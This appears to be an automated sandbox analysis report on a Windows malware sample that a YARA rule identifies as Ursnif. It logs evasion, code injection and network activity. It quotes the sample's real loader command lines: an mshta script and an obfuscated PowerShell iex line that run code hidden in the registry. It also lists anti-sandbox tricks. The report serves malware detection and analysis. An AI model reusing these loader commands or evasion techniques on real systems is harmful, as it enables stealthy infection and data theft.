Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion
barindex
Uses ping.exe to sleep
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\PING.EXE ping localhost -n 5
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\PING.EXE ping localhost -n 5
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6148 Thread sleep time: -6456360425798339s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6900 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Found evasive API chain (date check)
Source: C:\Windows\SysWOW64\rundll32.exe Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Found dropped PE file which has not been started or loaded
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\lboh4mlq\lboh4mlq.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\pkbugtxo\pkbugtxo.dll Jump to dropped file
Contains long sleeps (>= 3 min)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 4995 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 2575 Jump to behavior
Found evasive API chain checking for process token information
Source: C:\Windows\SysWOW64\rundll32.exe Check user administrative privileges: GetTokenInformation,DecisionNodes
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: explorer.exe, 00000021.00000000.575738488.0000000006389000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000
Source: explorer.exe, 00000021.00000000.534245853.0000000007C08000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}i
Source: explorer.exe, 00000021.00000000.534245853.0000000007C08000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000021.00000000.524566576.0000000004150000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}:
Source: explorer.exe, 00000021.00000000.534245853.0000000007C08000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}i&
Source: RuntimeBroker.exe, 00000029.00000000.593267648.00000188B362A000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}6bf
Source: explorer.exe, 00000021.00000000.534612496.0000000007D2A000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000
Source: explorer.exe, 00000021.00000000.534245853.0000000007C08000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: VMware SATA CD00Iy
Source: explorer.exe, 00000021.00000000.534463390.0000000007CC2000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000v
Enables debug privileges
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Checks if the current process is being debugged
Source: C:\Windows\System32\loaddll32.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\System32\loaddll32.exe Process queried: DebugPort Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\SysWOW64\rundll32.exe Network Connect: 146.70.35.138 80 Jump to behavior
Maps a DLL or memory area into another process
Source: C:\Windows\SysWOW64\rundll32.exe Section loaded: unknown target: C:\Windows\System32\control.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\System32\control.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write
Writes to foreign memory regions
Source: C:\Windows\SysWOW64\rundll32.exe Memory written: C:\Windows\System32\control.exe base: 7FF6B9F112E0 Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory written: C:\Windows\System32\control.exe base: 7FF6B9F112E0 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\explorer.exe base: 42C000 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\explorer.exe base: 7FF8DBEB1580 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\explorer.exe base: 910000 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\explorer.exe base: 7FF8DBEB1580 Jump to behavior
Source: C:\Windows\System32\control.exe Memory written: C:\Windows\explorer.exe base: 430000
Source: C:\Windows\System32\control.exe Memory written: C:\Windows\explorer.exe base: 7FF8DBEB1580
Source: C:\Windows\System32\control.exe Memory written: C:\Windows\explorer.exe base: 2650000
Source: C:\Windows\explorer.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1FAB525000
Changes memory attributes in foreign processes to executable or writable
Source: C:\Windows\System32\control.exe Memory protected: C:\Windows\explorer.exe base: 7FF8DBEB1580 protect: page execute and read and write
Source: C:\Windows\System32\control.exe Memory protected: C:\Windows\explorer.exe base: 7FF8DBEB1580 protect: page execute and read and write
Source: C:\Windows\System32\control.exe Memory protected: C:\Windows\explorer.exe base: 7FF8DBEB1580 protect: page execute and read and write
Source: C:\Windows\System32\control.exe Memory protected: C:\Windows\explorer.exe base: 7FF8DBEB1580 protect: page execute and read and write
Source: C:\Windows\explorer.exe Memory protected: C:\Windows\System32\RuntimeBroker.exe base: 7FF8DBEB1580 protect: page execute and read and write
Allocates memory in foreign processes
Source: C:\Windows\System32\control.exe Memory allocated: C:\Windows\explorer.exe base: 2650000 protect: page execute and read and write
Injects code into the Windows Explorer (explorer.exe)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: PID: 3808 base: 42C000 value: 00 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: PID: 3808 base: 7FF8DBEB1580 value: EB Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: PID: 3808 base: 910000 value: 80 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: PID: 3808 base: 7FF8DBEB1580 value: 40 Jump to behavior
Source: C:\Windows\System32\control.exe Memory written: PID: 3808 base: 430000 value: 00
Source: C:\Windows\System32\control.exe Memory written: PID: 3808 base: 7FF8DBEB1580 value: EB
Source: C:\Windows\System32\control.exe Memory written: PID: 3808 base: 2650000 value: 80
Modifies the context of a thread in another process (thread injection)
Source: C:\Windows\SysWOW64\rundll32.exe Thread register set: target process: 6020 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread register set: target process: 3808 Jump to behavior
Source: C:\Windows\System32\control.exe Thread register set: target process: 3808
Creates a thread in another existing process (thread injection)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread created: C:\Windows\explorer.exe EIP: DBEB1580 Jump to behavior
Source: C:\Windows\System32\control.exe Thread created: C:\Windows\explorer.exe EIP: DBEB1580
Source: C:\Windows\explorer.exe Thread created: C:\Windows\System32\RuntimeBroker.exe EIP: DBEB1580
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: unknown Process created: C:\Windows\System32\mshta.exe C:\Windows\System32\mshta.exe" "about:<hta:application><script>Lpje='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Lpje).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\54E80703-A337-A6B8-CDC8-873A517CAB0E\\\TestLocal'));if(!window.flag)close()</script>
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name wufxrouxe -value gp; new-alias -name atvqcmfj -value iex; atvqcmfj ([System.Text.Encoding]::ASCII.GetString((wufxrouxe "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn))
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name wufxrouxe -value gp; new-alias -name atvqcmfj -value iex; atvqcmfj ([System.Text.Encoding]::ASCII.GetString((wufxrouxe "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)) Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\HxEWwh74qT.dll",#1 Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\System32\control.exe C:\Windows\system32\control.exe -h Jump to behavior
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name wufxrouxe -value gp; new-alias -name atvqcmfj -value iex; atvqcmfj ([System.Text.Encoding]::ASCII.GetString((wufxrouxe "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)) Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\pkbugtxo\pkbugtxo.cmdline Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\lboh4mlq\lboh4mlq.cmdline Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user~1\AppData\Local\Temp\RESD841.tmp" "c:\Users\user\AppData\Local\Temp\pkbugtxo\CSC26C720E9EBC041F086604EECC7DD3CDD.TMP" Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user~1\AppData\Local\Temp\RESED31.tmp" "c:\Users\user\AppData\Local\Temp\lboh4mlq\CSC3DF21D054A9F4C66BF1FA9CD771B1F79.TMP"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\PING.EXE ping localhost -n 5
Source: explorer.exe, 00000021.00000000.523000096.0000000000D00000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000021.00000000.572023621.0000000000D00000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000021.00000000.562172820.0000000000D00000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Program ManagerG
Source: explorer.exe, 00000021.00000000.523000096.0000000000D00000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000021.00000000.527408975.0000000005920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000021.00000000.580135595.0000000005920000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000021.00000000.523000096.0000000000D00000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000021.00000000.572023621.0000000000D00000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000021.00000000.562172820.0000000000D00000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Progman
Source: explorer.exe, 00000021.00000000.523000096.0000000000D00000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000021.00000000.572023621.0000000000D00000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000021.00000000.562172820.0000000000D00000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Progmanlock
Source: explorer.exe, 00000021.00000000.522462073.0000000000628000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000021.00000000.571046642.0000000000628000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000021.00000000.525990787.0000000000628000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: ProgmanPV*
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Contains functionality to query CPU information (cpuid)
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_04DE12D3 cpuid 3_2_04DE12D3
Source: C:\Windows\SysWOW64\rundll32.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_04DE5410 GetSystemTimeAsFileTime,_aulldiv,_snwprintf,CreateFileMappingW,GetLastError,GetLastError,MapViewOfFile,GetLastError,CloseHandle,GetLastError, 3_2_04DE5410
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_04DE515F CreateEventA,GetVersion,GetCurrentProcessId,OpenProcess,GetLastError, 3_2_04DE515F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_04DE12D3 RtlAllocateHeap,GetUserNameW,RtlAllocateHeap,GetUserNameW,HeapFree,GetComputerNameW,GetComputerNameW,RtlAllocateHeap,GetComputerNameW,HeapFree, 3_2_04DE12D3

Stealing of Sensitive Information
barindex
Yara detected Ursnif
Source: Yara match File source: 00000014.00000002.766882377.000002DC00CFC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.391081269.00000000054A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000003.518242223.000001BF7E55C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
